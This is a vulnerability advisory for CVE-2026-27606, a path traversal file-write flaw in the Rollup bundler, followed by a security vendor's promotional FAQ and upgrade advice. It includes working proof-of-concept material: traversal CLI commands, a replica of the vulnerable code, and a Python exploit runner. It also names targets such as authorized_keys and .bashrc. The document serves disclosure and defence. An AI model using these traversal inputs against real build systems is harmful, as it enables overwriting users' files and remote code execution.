Summary
Rollup 4 has Arbitrary File Write via Path Traversal
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
Improper Sanitization: In
src/utils/sanitizeFileName.ts, theINVALID_CHAR_REGEXused to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/,\).// src/utils/sanitizeFileName.ts (Line 3) const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;This allows path traversal sequences like
../../to pass through the sanitizer unmodified.Unsafe Path Resolution: In
src/rollup/rollup.ts, thewriteOutputFilefunction usespath.resolveto combine the output directory with the "sanitized" filename.// src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);Because
path.resolvefollows the../sequences inoutputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call tofs.writeFilecompletes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
- Target a sensitive file location (for demonstration, we will use a file in the project root called
pwned.js). - Execute Rollup with a specifically crafted named input where the key contains traversal characters:
rollup --input "a/../../pwned.js=main.js" --dir dist - Result: Rollup will resolve the output path for the entry chunk as
dist + a/../../pwned.js, which resolves to the project root. The filepwned.jsis created/overwritten outside thedistfolder.
Reproduction Files provided :
vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
const path = require('path');
const fs = require('fs');
/**
* REPLICATED ROLLUP VULNERABILITY
*
* 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
* 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
*/
function sanitize(name) {
// The vulnerability: Rollup's regex fails to strip dots and slashes,
// allowing path traversal sequences like '../'
return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}
async function build(userSuppliedName) {
const outputDir = path.join(__dirname, 'dist');
const fileName = sanitize(userSuppliedName);
// Vulnerability: path.resolve() follows traversal sequences in the filename
const outputPath = path.resolve(outputDir, fileName);
console.log(`[*] Target write path: ${outputPath}`);
if (!fs.existsSync(path.dirname(outputPath))) {
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
}
fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
console.log(`[+] File written successfully.`);
}
build(process.argv[2] || 'bundle.js');
exploit.py
import subprocess
from pathlib import Path
def run_poc():
# Target a file outside the 'dist' folder
poc_dir = Path(__file__).parent
malicious_filename = "../pwned_by_rollup.js"
target_path = poc_dir / "pwned_by_rollup.js"
print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable app
subprocess.run(["node", "poc/vuln_app.js", malicious_filename])
if target_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanup
else:
print("[FAILED] Exploit did not work.")
if __name__ == "__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
Impact
This is a High level of severity vulnerability.
- Arbitrary File Write: Attackers can overwrite sensitive files like
~/.ssh/authorized_keys,.bashrc, or system binaries if the build process has sufficient privileges. - Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
- User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
rollup to 2.80.0 or later; rollup to 3.30.0 or later; rollup to 4.59.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-27606? CVE-2026-27606 is a high-severity path traversal vulnerability in rollup (npm), affecting versions < 2.80.0. It is fixed in 2.80.0, 3.30.0, 4.59.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of rollup are affected by CVE-2026-27606? rollup (npm) versions < 2.80.0 is affected.
- Is there a fix for CVE-2026-27606? Yes. CVE-2026-27606 is fixed in 2.80.0, 3.30.0, 4.59.0. Upgrade to this version or later.
- Is CVE-2026-27606 exploitable, and should I be worried? Whether CVE-2026-27606 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27606 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27606?
- Upgrade
rollupto 2.80.0 or later - Upgrade
rollupto 3.30.0 or later - Upgrade
rollupto 4.59.0 or later
- Upgrade